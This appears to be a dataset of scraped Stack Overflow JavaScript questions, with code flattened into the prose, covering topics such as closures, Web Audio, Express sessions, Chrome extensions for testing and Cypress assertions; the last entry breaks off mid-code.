file1.jsfile2.js export var x=1 //it is defined as a variable not a constant import { x } from 'file1.js'console.log ( x ) //1x=2 //Error : Assignment to constant variable",javascript : modifing an imported 'variable ' causes 'Assignment to constant variable ' even it is not a constant "JS : I 'm using amcharts to create my chart , legend is in separate container.Applying option has no effectCodepen chart.legend.align = 'right '",How to apply horizontal alignment in amchrts legend ? "JS : I need to access the DOM of a web component that has a closed Shadow DOM for some Selenium testing . I 've read in several references that you can override Element.prototype.attachShadow on the document startup in order to change the Shadow from closed to open . In order to do this , I created a Chrome Extension . Below is my manifest.json : And my shadowInject.jsIn order to test it , I created my component in an ASPNetCore MVC project . Below is my javascript that creates the custom component : And my HTML file that uses it : I load my extension into Chrome , and I run the page . I get the console log Test , but the attachShadow method is never called , and I still can not access the closed shadow DOMI would really appreciate some help on what I ` m doing wrong . Thank you very much.FINAL SOLUTIONAfter applying the changes in the answer , I need to make some adjustments to the manifest.json . Below is the final version : Now it worked , and the Shadow DOM changed to open { `` name '' : `` SeleniumTesting '' , `` description '' : `` Extension to open closed Shadow DOM for selenium testing '' , `` version '' : `` 1 '' , `` author '' : `` SeleniumTesting '' , `` manifest_version '' : 2 , `` permissions '' : [ `` downloads '' , `` < all_urls > '' ] , `` content_scripts '' : [ { `` matches '' : [ `` http : //localhost:5000/* '' ] , `` run_at '' : `` document_start '' , `` all_frames '' : true , `` js '' : [ `` shadowInject.js '' ] } ] } console.log ( 'test ' ) ; Element.prototype._attachShadow = Element.prototype.attachShadow ; Element.prototype.attachShadow = function ( ) { console.log ( 'attachShadow ' ) ; return this._attachShadow ( { mode : `` open '' } ) ; } ; customElements.define ( ' x-element ' , class extends HTMLElement { constructor ( ) { super ( ) ; this._shadowRoot = this.attachShadow ( { mode : 'closed ' } ) ; this._shadowRoot.innerHTML = ` < div class= '' wrapper '' > < a href= '' download/File.pdf '' download > < button id= '' download '' > Download File < /button > < /a > < p > Link para download < /p > < /div > ` ; } } ) ; @ page @ model IndexModel @ { ViewData [ `` Title '' ] = `` Home page '' ; } < script src='~/js/componente.js ' > < /script > < div class= '' text-center '' > < h1 class= '' display-4 '' > Welcome < /h1 > < p > Learn about < a href= '' https : //docs.microsoft.com/aspnet/core '' > building Web apps with ASP.NET Core < /a > . < /p > < x-element id='comp ' > < /x-element > < /div > { `` name '' : `` SeleniumTesting '' , `` description '' : `` Extension to open closed Shadow DOM for selenium testing '' , `` version '' : `` 1 '' , `` author '' : `` SeleniumTesting '' , `` manifest_version '' : 2 , `` permissions '' : [ `` downloads '' , `` < all_urls > '' ] , `` content_scripts '' : [ { `` matches '' : [ `` http : //localhost:5000/* '' ] , `` run_at '' : `` document_start '' , `` all_frames '' : true , `` js '' : [ `` shadowInject.js '' ] } ] , `` web_accessible_resources '' : [ `` injected.js '' ] }",Override Element.prototype.attachShadow using Chrome Extension "JS : I am trying to return the markers as the object but when i run the function it just returns [ ] , but printing it inside i can see the object data , can anyone explain how to return the object batch2 please ? google.maps.event.addListener ( mgr , 'loaded ' , function ( ) { mgr.addMarkers ( getMarkers ( ) ,6 ) ; //add all the markers ! documentation for viewports with totals for city count , look at viewport mgr.addMarkers ( getMarkers2 ( ) ,14 ) ; //get markers for zoomed out place , add click function to zoom in //mgr.addMarkers ( getMarkers ( 1000 ) , 8 ) ; console.log ( `` added '' ) ; mgr.refresh ( ) ; } ) ; function getMarkers2 ( ) { var batch2 = [ ] ; var clusters = new Parse.Query ( `` cityfreqcoords '' ) ; var clusterresults = new Parse.Object ( `` cityfreqcoords '' ) ; clusters.find ( { success : function ( results ) { for ( i = 1 ; i < results.length ; i++ ) { var city = ( results [ i ] [ `` attributes '' ] [ `` city '' ] ) ; var count = ( results [ i ] [ `` attributes '' ] [ `` count '' ] ) ; var lat = ( results [ i ] [ `` attributes '' ] [ `` lat '' ] ) ; var lng = ( results [ i ] [ `` attributes '' ] [ `` lng '' ] ) ; var markerLatlong = new google.maps.LatLng ( lat , lng ) ; //icon = //adding the marker var marker2 = new google.maps.Marker ( { position : markerLatlong , title : city , clickable : true , animation : google.maps.Animation.DROP //icon : icon } ) ; //adding the click event and info window google.maps.event.addListener ( marker2 , 'click ' , function ( ) { map.setZoom ( 6 ) ; map.setCenter ( marker2.getPosition ( ) ) ; } ) ; batch2.push ( marker2 ) ; } } } ) return batch2 ; }",returning object from a javascript function with database query inside "JS : I 'm trying to have a counter increase gradually . The following works : However , it uses an implicit eval . Evil ! Let 's use a closure instead , right ? Obviously , this does n't work . All closures created catch the last value diff has had in the function -- 1 . Hence , all anonymous functions will increase the counter by 1 and , for example , _award ( 100 ) will increase the score by 28 instead.How can I do this properly ? function _award ( points ) { var step = 1 ; while ( points ) { var diff = Math.ceil ( points / 10 ) ; setTimeout ( `` _change_score_by ( `` +diff+ '' ) ; '' /* sigh */ , step * 25 ) ; points -= diff ; step++ ; } } function _award ( points ) { var step = 1 ; while ( points ) { var diff = Math.ceil ( points / 10 ) ; setTimeout ( function ( ) { _change_score_by ( diff ) ; } , step * 25 ) ; points -= diff ; step++ ; } }",Javascript closure `` stores '' value at the wrong time "JS : If I create an object without assigning it to anything , when will Javascript garbage collect this object ? Here is an example : If no such garbage collection is done , will this cause a memory leak ? alert ( new Date ( ) .getTime ( ) ) ; for ( var i = 0 ; i < 99999999 ; i++ ) { console.info ( new Date ( ) .getTime ( ) ) ; }",How are anonymous objects garbage collected in Javascript ? "JS : I 'm using md-data-table and I have add sorting options based on column.Below , presented my html ( pug format ) code : My AngularJS ( Javascript ) code presented below : The problem is when the table is ordered by 'code ' and I 'm trying to edit the record 's code , the order of records changing while you change the value of code . So , the result is very confused.I 'm thinking if there is any way to freeze the order while I 'm in edit mode . table ( md-table md-row-select multiple= '' ng-model='vm.selected ' md-progress='promise ' ) //- columns thead ( md-head class='back-color ' ) tr ( md-row ) th ( md-column ng-click='vm.orderingBy ( name ) ' ) span Name th ( md-column ng-click='vm.sortingBy ( code ) ' ) span Code //- rows tbody ( md-body ) tr ( md-select='record ' md-select-id='id ' ng-repeat='record in vm.records | orderBy : vm.orderByColumn ) //- name td ( md-cell ) p ( ng-hide='vm.columns.edit ' ) { { record.name } } md-input-container ( ng-if='vm.columns.edit ' class='no-errors-spacer md-no-margin ' ) input ( ng-model='record.name ' md-select-on-focus ) //- code td ( md-cell ) p ( ng-hide='vm.columns.edit ' ) { { record.sorting_code } } md-input-container ( ng-if='vm.columns.edit ' class='no-errors-spacer md-no-margin ' ) input ( ng-model='record.code ' md-select-on-focus ) vm.orderByColumn = 'name ' ; vm.orderingBy = function ( ordering ) { vm.orderByColumn = ordering ; }",AngularJS : How to freeze orderBy in ng-repeat during edit mode "JS : The behavior I 'm about to describe happens in Chrome 44 , but does not happen in Firefox 40.If you create an oscillator , set it to a frequency of 220 Hz , and then change the frequency to 440 Hz a second later , you can hear a distinct portamento effect : instead of changing instantly from 220 to 440 , the oscillator glides from the original frequency to the new one.The code below illustrates this phenomenon : I 've examined the docs for the OscillatorNode object , and there 's no mention of this behavior . I 've also scoured Google , and ( surprisingly ) I ca n't find any other mentions of this phenomenon.What 's going on ? This does n't seem like proper behavior . If I wanted the frequency to glide , I 'd use the linearRampToValueAtTime ( ) method . Setting the frequency directly to a specific value should just ... do that.Is this just a bug ? I know this API is still in flux , but this seems pretty blatant to be a bug - this would n't pass the most cursory testing . But I also ca n't imagine that Google would implement it this way deliberately.Most importantly : is there a workaround ? var ac = new AudioContext ( ) ; var osc = ac.createOscillator ( ) ; osc.connect ( ac.destination ) ; osc.type = 'sawtooth ' ; osc.frequency.value = 220 ; osc.start ( 0 ) ; window.setTimeout ( function ( ) { osc.frequency.value = 440 ; } , 1000 ) ; window.setTimeout ( function ( ) { osc.stop ( 0 ) ; } , 2000 ) ;",Web Audio oscillators unexpectedly glide from one frequency to another in Chrome "JS : Consider this : In terms of the spec , b = a boils down to PutValue ( b , GetValue ( a ) ) , right ? And GetValue ( a ) uses GetBindingValue ( `` a '' , strictFlag ) abstract operation , which returns `` the value '' in a . And `` the value '' is `` the object '' originally assigned to a . Then `` the object '' is stored in b , just like any other value would.But what is `` the object '' precisely ? Where does the specification say that values of the Object type behave differently than primitives ? Is it only that primitives are immutable , and objects are mutable ? I 'm asking because we always talk about `` object references '' and `` reference values '' when trying to explain the behavior of objects , but I could n't find anything analogous to that in the specification . var a = { } , b = a ;",How to explain object references in ECMAScript terms ? "JS : I want to write my own web crawler in JS . I am thinking of using a node.js solution such as https : //www.npmjs.com/package/js-crawlerThe objective is to have a `` crawl '' every 10 minutes - so every 10 minutes I want my crawler to fetch data from a website.I understand that I could write an infinite loop such as : This could will work perfectly fine if I have my computer on all the time and I am on the website.However , if I shut down my computer , I can imagine that it will not work any more . So what kind of solution should I consider to keep a script running all the time , even when the computer is shut down ? var keeRunning = true ; while ( keepRunning ) { // fetch data and process it every 10 minutes }",How to keep a web crawler running ? "JS : I 'm a confused newbie . I read in a tutorial that you create a javascript object like so : Then I read somewhere else that you create an object like so : What is the ( non-subjective ) difference between the two ? Is there an official right way and a wrong way ? function myObject ( ) { this.myProperty = `` a string '' ; this.myMethod = function ( ) { //Method code } } var myObject = { myProperty : `` a string '' , myMethod : function ( ) { //Method code } }",What is the difference between declaring javascript objects with var vs. with function ? JS : If I have the following HTML : How can I access the div with JavaScript knowing that all the styles on the div are applied like this : .class td div { ... } ? < tr class= '' class '' > < td > < div > < /div > < /td > < /tr >,Access the inner DIV with JavaScript "JS : I 'm building a tree view by converting array of paths into tree view data structure . Here 's what I want to do : Now I 've successfully convert single array of items via this method , but unable to do so for multiple array . Note also , nested treeview does n't contain duplicate . // routes are sorted.let routes = [ [ 'top ' , ' 1.jpg ' ] , [ 'top ' , ' 2.jpg ' ] , [ 'top ' , 'unsplash ' , 'photo.jpg ' ] , [ 'top ' , 'unsplash ' , 'photo2.jpg ' ] , [ 'top ' , 'foo ' , ' 2.jpg ' ] , [ 'top ' , 'foo ' , 'bar ' , ' 1.jpg ' ] , [ 'top ' , 'foo ' , 'bar ' , ' 2.jpg ' ] ] ; into let treeview = { name : 'top ' , child : [ { name : ' 1.jpg ' , child : [ ] } , { name : ' 2.jpg ' , child : [ ] } , { name : 'unsplash ' , child : [ { name : 'photo.jpg ' , child : [ ] } , { name : 'photo2.jpg ' , child : [ ] } ] } , { name : 'foo ' , child : [ { name : ' 2.jpg ' , child : [ ] } , { name : 'bar ' , child : [ { name : ' 1.jpg ' , child : [ ] } , { name : ' 2.jpg ' , child : [ ] } ] } ] } ] } function nest ( arr ) { let out = [ ] ; arr.map ( it = > { if ( out.length === 0 ) out = { name : it , child : [ ] } else { out = { name : it , child : [ out ] } } } ) ; return out ; }",How to convert array of arrays into deep nested tree view "JS : So basically I was trying to use javascript to write a custom tag for all the different browsers , but IE 8-9 ( have n't tested others ) seems to not work correctly ( what a surprise ) ( I am trying to make this feature compatible in Chrome FF IE 8- 10 ) if you test this in different browser you will see that result 2 does not work in IE , i could get it to work like in example one , however I would really prefer to use my custom tag name rather than an existing one.How can i make result 2 show up in IE and still use the tag name `` drop '' ? Also I really want the html to stay the same and just make changes to the javascript , Thanks in advancehttp : //jsfiddle.net/9GXtH/ < select id= ' a ' style='display : none ' > < option id= ' b ' > t1 < /option > < /select > < drop id= ' c ' style='display : none ' > < option id='d ' > t2 < /option > < /drop > < div id='result ' > < /div > < div id='result2 ' > < /div > var queue = document.getElementsByTagName ( `` select '' ) ; var options = queue.item ( 0 ) .getElementsByTagName ( `` option '' ) ; document.getElementById ( 'result ' ) .innerHTML = options.item ( 0 ) .innerHTML ; var queue = document.getElementsByTagName ( `` select '' ) ; var options = queue.item ( 0 ) .getElementsByTagName ( `` option '' ) ; document.getElementById ( 'result ' ) .innerHTML = `` result : `` + options.item ( 0 ) .innerHTML ; var queue = document.getElementsByTagName ( `` drop '' ) ; var options = queue.item ( 0 ) .getElementsByTagName ( `` option '' ) ; document.getElementById ( 'result2 ' ) .innerHTML = `` result2 : `` + options.item ( 0 ) .innerHTML ;",using nested getElementById IE "JS : I have this regex : I use it to see if a string has at least 3 alphanumeric characters in it . It seems to work.Examples of strings it should match : However , I need it to work faster . Is there a better way to use regex to match the same patterns ? Edit : I ended up using this regex for my purposes : ( no modifiers needed ) ( ? : .* [ a-zA-Z0-9 ] . * ) { 3 } 'a3c '' _0_c_8_ '' 9 9d ' ( ? : [ ^a-zA-Z0-9 ] * [ a-zA-Z0-9 ] ) { 3 }",Most efficient regex for checking if a string contains at least 3 alphanumeric characters "JS : I was creating a shopping cart and came across a problem , I was setting cart object in session //then after that I tried consoling that and I was getting the session variable with cart object inside it but after that while I tried setting it to app.locals.cart for using it with ejs , by trying to get req.session from inside a get method of the express module but the req.session.cart gives undefined.I was unable to understand why the session variable was losing the cart object after going through some of questions in StackOverflow I found nothing that solves my dilemma .So I decided to stop using simple console.log but instead I decided to use the nodejs inspector and I installed I ran node -- inspect app.jsBut the problem here I faced is that it limited its access to app.js itselfthe adding shopping cart functionality is in routes/cart.jsI wanted to track the flow of requests using nodejs inspector module and find out why the cart variable is removed from the session variable every timeSo my question is of two part , first part : - why is the sources folder only showing app.js instead of the whole project like in this simple tutorialI am not getting the project and files inside it to set debug points and source only has app.js as default loaded source second part is why is cart object getting removed from session without any reasonEDIT : -I know one the first pass it will be undefined but on second path it will not be since it will be set by EDIT 1 : -I tracked the sessionId across the calls and found it to be same ruled about possibility of creation of new session but still what removes the cart object from session object remains a mystery //Initializing session app.use ( session ( { secret : 'keyboard cat ' , resave : true , saveUninitialized : true //cookie : { secure : true } } ) ) ; req.session.cart = [ ] ; req.session.cart.push ( { title : p.title , price : p.price , image : '/static/Product_images/'+p._id+'/'+p.image , quantity : quantity , subtotal : p.price } ) ; app.use ( require ( 'connect-flash ' ) ( ) ) ; app.use ( function ( req , res , next ) { res.locals.messages = require ( 'express-messages ' ) ( req , res ) ; // console.log ( `` New cart variable '' ) ; //console.log ( req.session ) ; //console.log ( req.locals ) ; //console.log ( req.app.locals.cart ) ; if ( req.session.cart ! == '' undefined '' ) { app.locals.cart= [ ] ; app.locals.cart = req.session.cart ; } next ( ) ; } ) ; cart.js var productModel =require ( '../models/products.js ' ) ; var categoryModel =require ( '../models/category.js ' ) ; module.exports= ( app ) = > { app.get ( '/add-to-cart/ : id ' , function ( req , res ) { console.log ( `` Cart get started '' ) ; var quantity , subtotal = 0 ; productModel.findOne ( { '_id ' : req.params.id } , function ( err , p ) { //console.log ( `` product consoled '' +p ) ; if ( err ) { return console.log ( err ) ; } if ( typeof req.session.cart == `` undefined '' ) { //console.log ( `` Session undefined check '' ) ; quantity=1 ; req.session.cart = [ ] ; req.session.cart.push ( { title : p.title , price : p.price , image : '/static/Product_images/'+p._id+'/'+p.image , quantity : quantity , subtotal : p.price } ) ; console.log ( `` # # # # The request var session inside cart function start '' ) ; console.log ( `` # # # # The request var session var end '' ) ; req.app.locals.cart= [ ] ; req.app.locals.cart.push ( { title : p.title , price : p.price , image : '/static/Product_images/'+p._id+'/'+p.image , quantity : quantity , subtotal : p.price } ) ; //console.log ( req.app.locals ) ; //console.log ( `` Session set `` ) ; //console.log ( req.session.cart ) ; console.log ( `` Cart got set '' ) ; console.log ( req.session ) ; } else { var product = req.session.cart ; var productFound = false ; product.forEach ( function ( prod ) { if ( prod.title==p.title ) { prod.quantity+=1 ; prod.subtotal=prod.quantity*prod.price ; productFound=true ; } } ) ; req.session.cart=product ; if ( ! productFound ) { quantity=1 ; req.session.cart.push ( { title : p.title , price : p.price , image : '/static/Product_images/'+p._id+'/'+p.image , quantity : quantity , subtotal : p.price } ) ; } } } ) ; console.log ( `` req.session.cart '' ) ; console.log ( req.session.cart ) ; req.flash ( 'success ' , 'product added to cart ' ) ; res.redirect ( 'back ' ) ; } ) ; }",How to track req.session variable with node-inspector to understand how a session object gets removed from request.session "JS : I have a table and I want to ensure that values are not repeated within a column using Cypress . Currently , I am doingThis piece of code does check if a value in a column exists but it does n't ensure that its the only entry with this value in the table . How do I check for uniqueness through Cypress ? cy.get ( `` # myTable '' ) .find ( `` .table '' ) .contains ( `` unique_value '' ) .should ( `` exist '' )",Cypress - Assert only one element with a text exists "JS : I sometimes find myself declaring the same data to multiple templates . For example : I can make it better by using a global : But is there any way to get rid of the declarations altogether ? In other words , is there any way to share some global data to multiple templates by default ? Template.auction_page.auctionDurations = function ( ) { return [ 30 , 60 , 120 ] ; } ; Template.auction_editor.auctionDurations = function ( ) { return [ 30 , 60 , 120 ] ; } ; Template.auction_page.auctionDurations = function ( ) { return global.auctionDurations ; } ; Template.auction_editor.auctionDurations = function ( ) { return global.auctionDurations ; } ;",Can you share data across multiple templates ? "JS : I have 3 input fields , 1 for data type and other 2 are its relevant.when i press button in data type field i want to display autocomplete window like this instead of this And after select it should look like thisHTMLJS < tr > < td > < input type= '' text '' id= '' no_1 '' class= '' form-control '' > < /td > < td > < input type= '' text '' data-type= '' vehicle '' id= '' vehicle_1 '' class= '' type form-control '' > < /td > < td > < input type= '' text '' id= '' type_1 '' class= '' form-control '' > < /td > < /tr > $ ( document ) .on ( 'focus ' , '.type ' , function ( ) { type = $ ( this ) .data ( 'type ' ) ; if ( type =='vehicle ' ) autoTypeNo = 1 ; $ ( this ) .autocomplete ( { source : function ( request , response ) { $ .ajax ( { url : 'autocomplete.php ' , dataType : `` json '' , method : 'post ' , data : { name_startsWith : request.term , type : type } , success : function ( data ) { response ( $ .map ( data , function ( item ) { var code = item.split ( `` | '' ) ; return { label : code [ autoTypeNo ] , value : code [ autoTypeNo ] , data : item } } ) ) ; } } ) ; } , autoFocus : true , minLength : 0 , select : function ( event , ui ) { var names = ui.item.data.split ( `` | '' ) ; id_arr = $ ( this ) .attr ( 'id ' ) ; id = id_arr.split ( `` _ '' ) ; $ ( ' # no_'+id [ 1 ] ) .val ( names [ 0 ] ) ; $ ( ' # vehicle_'+id [ 1 ] ) .val ( names [ 1 ] ) ; $ ( ' # type_'+id [ 1 ] ) .val ( names [ 2 ] ) ; } } ) ; } ) ;",autocomplete display relevant data in autocomplete window "JS : In IE and Chrome , typing this into the JavaScript console throws an exception : However , all of these statements are evaluated with no problem : Is this intentional behavior ? Why does this happen ? { } == false // `` SyntaxError : Unexpected token == '' false == { } // false ( { } == false ) // falsevar a = { } ; a == false // false",Why does { } == false throw an exception ? "JS : Reading jQueryUI dialog code , I 've found out , jQuery .attr ( ) method has some undocumented behavior : Can you explain me how it works ? Why should I set true as the second argument after map of attribute-value pairs ? Can I use this feature in my projects safely ? < button id= '' btn1 '' > 1 < /button > < button id= '' btn2 '' > 2 < /button > $ ( function ( ) { var props = { text : 'Click it ! ' , click : function ( ) { console.log ( 'Clicked btn : ' , this ) ; } } ; $ ( ' # btn1 ' ) .attr ( props , true ) ; // Changes # btn1 inner text to 'Click it ! ' // and adds click handler $ ( ' # btn2 ' ) .attr ( props ) ; // Leaves # btn2 inner text as it is and fires // click function on document ready } ) ;",jQuery attr method can set click handler and inner text "JS : I 'm attempting to link my Discord bot with a MySQL database that is on another server . However , this example is apparently insecure : How would I go about establishing a ( more ) secure connection ? const mysql = require ( 'mysql ' ) ; const connection = mysql.createConnection ( { host : 'hostname ' , port : 'portnum ' , user : 'db_user ' , password : 'db_user_password ' , database : 'db_name ' , charset : 'utf8mb4 ' } ) ;",How to securely connect to MySQL database on another server ? "JS : The test : The result : I think the difference comes from timezones , but I do n't understand it at all ! What magical stuff produce this difference ? var d1 = new Date ( `` 2000-04-22T00:00:00+00:00 '' ) ; var d2 = new Date ( 2000 , 4 , 22 , 0 , 0 , 0 , 0 ) ; console.log ( `` d1 = `` + d1.getTime ( ) ) ; console.log ( `` d2 = `` + d2.getTime ( ) ) ; d1 = 956361600000d2 = 958946400000",How to explain difference in Date constructor ? "JS : I am making an app that deals with songs being dragged to the app . When I use the file.size to get the size of the file it takes approx 1500ms ( avg ) to get this value . Is there any faster way ? I understand why it takes time ( and memory ) but since I am new to dealing with files in HTML5 , maybe there is something that I do n't know of which can make the process faster.The same stands true for the file system API . If I call in the file through it and call for file.size , it takes similar time.PS I got to this conclusion by adding console.time ( ) in my code.Here is the code ( massively stripped down ) This is the file system API example . This ( obviously ) needs the file named id to be there for it to work . Below is the D & D file input codeEDITI am on an AMD equiv of core two duo , 2.7 GHz , 2 gigs of ram , win7 x64 . The specs i believe are actually decent enough . So if something does take long enough on my machine i will take it as a no-go.This is a blocker for a major bug fix in my app . I would really like to ship the with a fix for this long time included . I can not set a bounty ( yet ) maybe there is a minimum time before a bounty is set.EDITI did some testing and as it turns out , it takes so long because chrome calculates the size instead of just reading it from some metadata . Here is the test result.The bigger the file , the longer it takes and if called second time it uses some cache and does not load the file . So now.. how can i reduce this time ? Size is an important info in my app but probably not important enough to slow user 's upload rate by about 1.5 seconds for every file ! I am planning on importing libraries and it would really help to reduce this time when adding 100 or so songs . This time then will be a major bump to app 's response time . fileSystem.root.getFile ( id , { } , function ( fileEntry ) { fileEntry.file ( function ( audioTemp ) { console.time ( 1 ) ; console.log ( audioTemp.size ) ; console.timeEnd ( 1 ) } ) ; } ) ; function onChangeAddSongsInput ( ) { var files = document.getElementById ( 'addSongsInput ' ) .files ; for ( var i=0 ; i < files.length ; i++ ) { console.time ( 1 ) ; console.log ( files [ i ] .size ) ; console.timeEnd ( 1 ) } }","Why does 'file.size ' take a lot of time , and how to reduce the time ?" "JS : My array : If the `` pending '' , `` approved '' , `` active '' , `` inactive '' key not exists in object , i need output like this : Expected output : How to do this ? I tried with map but i dont know how to set condition.I want to set the values into zero . [ { name : 'test1 ' , state : 'OK ' , status : true , pending : 33 , approved : 0 , active : 0 , inactive : 33 } , { name : 'test3 ' , state : 'OK ' , status : true , pending : 33 , approved : 0 , active : 0 , inactive : 33 } , { name : 'test4 ' , state : 'OK ' , status : true } ] [ { name : 'test1 ' , state : 'OK ' , status : true , pending : 33 , approved : 0 , active : 0 , inactive : 33 } , { name : 'test3 ' , state : 'OK ' , status : true , pending : 33 , approved : 0 , active : 0 , inactive : 33 } , { name : 'test4 ' , state : 'OK ' , status : true , pending : 0 , approved : 0 , active : 0 , inactive : 0 } ]",Add additional object keys into array based on condition javascript "JS : Trying to get an answer to a recent question , I tried to parse the box-shadow of an element , that had been set asI expected to get that string , do an split ( `` , '' ) on it , and get the array of box-shadows . ( with 3 elements ) My problem is that I get the string asAnd of course when I split that I get a mess . Is there an easier way to get the values of the individual box-shadows ? div { box-shadow : 0 0 0 5px green , 0 0 0 10px # ff0000 , 0 0 0 15px blue ; } `` rgb ( 0 , 255 , 0 ) 0 0 0 5px , rgb ( 255 , 0 , 0 ) 0 0 0 10px , rgb ( 0 , 0 , 255 ) 0 0 0 15px ''",Getting value of individual box-shadow when set to multiple values "JS : I had installed tern_for_vim and YouCompleteMe for js completion this way.1 install node2 install tern_for_vim3 install YouCompleteMe4 edit .tern-projectNow to vim test.js.The js completion pop up after inputing document . in test.js file.Then to vim test.htmlNo js completion pop up after inputing document . in test.html file.How to fix it ? curl -o- https : //raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bashsource ~/.nvm/nvm.shnvm install node $ cd ~/.vim/bundlegit clone https : //github.com/marijnh/tern_for_vim cd ~/.vim/bundle/YouCompleteMe $ ./install.sh -- clang-completer -- tern-completer vim .tern-project { `` libs '' : [ `` browser '' , `` underscore '' , `` jquery '' ] , `` plugins '' : { `` node '' : { } } }",How to call js completion in html file instead of js file ? "JS : I am creating a component with an animation that occurs with a css class toggle . Sandbox of the example here.The css class is applied conditionaly against the transitioned field , so we should get an animation when the transtioned field goes form false to true.Problem : The animation does n't happen in the case where the state if modified like this : But it works if it the second setState is called within a setTimeout callback like this : Why is n't animateWithoutST working as expected although my component is rendering in the right order ? animateWithoutST = ( ) = > { this.setState ( { transitioned : false } , ( ) = > this.setState ( { transitioned : true } ) ) } animateWithST = ( ) = > { this.setState ( { transitioned : false } , ( ) = > { setTimeout ( ( ) = > this.setState ( { transitioned : true } ) ) } ) }",sequential setState calls not working as expected "JS : I 'm getting more into jQuery and so have set up a HTML/Javascript/CSS base site which I use for all my tests.Since these tests will eventually turn into PHP and ASP.NET MVC websites , I want to use this opportunity to get the basics down right again for modern browsers and web standards before building the scripting languages on top of it.I 've selected to use : XHTML 1.0 StrictUTF-8 encodingas few CSS references as possible ( put everything in 1 CSS file for loading speed ) as few Javascript references as possible ( 1 javascript file plus the jquery code base reference - I assume using the Google jQuery code base is best practice for speed ) I check my code as I build it with the http : //validator.w3.orgIs there anything else I need to consider ? Here is an example of one of my test websites : index.htm : main.cs : main.js : < ! DOCTYPE html PUBLIC `` -//W3C//DTD XHTML 1.0 Strict//EN '' `` http : //www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd '' > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < meta http-equiv= '' content-type '' content= '' text/html ; charset=utf-8 '' / > < title > Text XHTML Page < /title > < link href= '' css/main.css '' rel= '' stylesheet '' type= '' text/css '' media= '' all '' / > < script type= '' text/javascript '' src= '' http : //www.google.com/jsapi '' > < /script > < script type= '' text/javascript '' src= '' javascript/main.js '' > < /script > < /head > < body > < h1 class= '' highlightTitle '' > Text < /h1 > < p class= '' main '' > First < /p > < p > Second < /p > < p id= '' selected '' class= '' regular '' > Third < /p > < p > Fourth < /p > < form action= '' '' > < div > < input type= '' button '' value= '' highlight it '' onclick= '' highlightIt ( ) ; countThem ( ) '' / > < input type= '' button '' value= '' highlight title '' onclick= '' highlightTitle ( ) '' / > < p > here is another paragraph < /p > < /div > < /form > < /body > < /html > p.highlighted { background-color : orange ; } h1.highlightTitle { background-color : yellow ; } h1.deselected { background-color : # eee ; } p.regular { font-weight : bold ; } google.load ( `` jquery '' , `` 1.3.2 '' ) ; function highlightIt ( ) { $ ( ' # selected ' ) .toggleClass ( 'highlighted ' ) ; } function countThem ( ) { alert ( `` there are `` + $ ( `` p.main '' ) .size ( ) + `` paragraphs '' ) ; } function highlightTitle ( ) { $ ( `` h1 '' ) .toggleClass ( `` deselected '' ) ; }",What is currently the best HTML/CSS/Javascript configuration ? "JS : Does javascript allow aliasing eval ? The first part of the following code behaves unexpectedly ( displays 1 , 1 ) , but the second part does not ( displays 1 , 2 ) .A reference to the ECMA script or mozilla docs will be helpful , I could n't find one . < html > < script type= '' application/javascript ; version=1.8 '' > ( function ( ) { eval ( 'var testVar=1 ' ) ; alert ( testVar ) ; var eval2=eval ; eval2 ( 'var testVar=2 ' ) ; alert ( testVar ) ; } ) ( ) ; ( function ( ) { eval ( 'var testVar=1 ' ) ; alert ( testVar ) ; eval ( 'var testVar=2 ' ) ; alert ( testVar ) ; } ) ( ) ; < /script > < /html >",Javascript eval alias JS : Consider the following Why is negative zero equal to zero ? Given it 's equal why does it behave differently ? Bonus question : Is the 0/-0 combination the only combination where equal objects behave differently ? I know NaN/NaN is a combination where non-equal objects behave the same . var l = console.log.bind ( console ) ; l ( -0 ) ; // 0l ( 0 ) ; // 0l ( 0 === -0 ) ; // truel ( 0 == -0 ) ; // truel ( 1 / 0 ) ; // Infinityl ( 1 / -0 ) ; // -Infinity,Does javascript have a concept of negative zero "JS : What I want to happen : For testing a game art style I thought of , I want to render a 3D world in pixel-art form . So for example , take a scene like this ( but rendered with certain coloring / style so as to look good once pixelated ) : And make it look something like this : By playing with different ways of styling the 3D source I think the pixelated output could look nice . Of course to get this effect one just sizes the image down to ~80p and upscales it to 1080p with nearest neighbor resampling . But it 's more efficient to render straight to an 80p canvas to begin with and just do the upscaling.This is not typically how one would use a shader , to resize a bitmap in nearest neighbor format , but the performance on it is better than any other way I 've found to make such a conversion in real time.My code : My buffer for the bitmap is stored in row major , as r1 , g1 , b1 , a1 , r2 , g2 , b2 , a2 ... and I 'm using gpu.js which essentially converts this JS func into a shader . My goal is to take one bitmap and return one at larger scale with nearest-neighbor scaling , so each pixel becomes a 2x2 square or 3x3 and so on . Assume inputBuffer is a scaled fraction of size of the output determined by the setOutput method.JSFiddle Keep in mind it 's iterating over a new buffer of the full size output , so I have to find the correct coordinates that will exist in the smaller sourceBuffer based on the current index in the outputBuffer ( index is exposed by the lib as this.thread.x ) .What 's happening instead : This , instead of making a nearest neighbor upscale , is making a nice little rainbow ( above is the small normal render , below is the result of the shader , and to the right you can see some debug logging with stats about the input and output buffers ) : What am I doing wrong ? Note : I asked a related question here , Is there a simpler ( and still performant ) way to upscale a canvas render with nearest neighbor resampling ? var pixelateMatrix = gpu.createKernel ( function ( inputBuffer , width , height , scale ) { var y = Math.floor ( ( this.thread.x / ( width [ 0 ] * 4 ) ) / scale [ 0 ] ) ; var x = Math.floor ( ( this.thread.x % ( width [ 0 ] * 4 ) ) / scale [ 0 ] ) ; var remainder = this.thread.x % 4 ; return inputBuffer [ ( x * y ) + remainder ] ; } ) .setOutput ( [ width * height * 4 ] ) ;",How can I properly write this shader function in JS ? "JS : For last two weeks I was working on saving a page id in cookies and then retrieve it in some other page.Finally I solved it but now I have some other problem I want to use this id ( the one I saved in cookie and retrieve it ) in my php code . I know javascript is client side code and php is server side code but I have to do this . Please help me out with this . This is my javascript code which is working great and I get the saved id with this line `` +value.favoriteid+ '' < script > /* * Create cookie with name and value . * In your case the value will be a json array . */ function createCookie ( name , value , days ) { var expires = `` , date = new Date ( ) ; if ( days ) { date.setTime ( date.getTime ( ) + ( days * 24 * 60 * 60 * 1000 ) ) ; expires = ' ; expires= ' + date.toGMTString ( ) ; } document.cookie = name + '= ' + value + expires + ' ; path=/ ' ; } /* * Read cookie by name . * In your case the return value will be a json array with list of pages saved . */ function readCookie ( name ) { var nameEQ = name + '= ' , allCookies = document.cookie.split ( ' ; ' ) , i , cookie ; for ( i = 0 ; i < allCookies.length ; i += 1 ) { cookie = allCookies [ i ] ; while ( cookie.charAt ( 0 ) === ' ' ) { cookie = 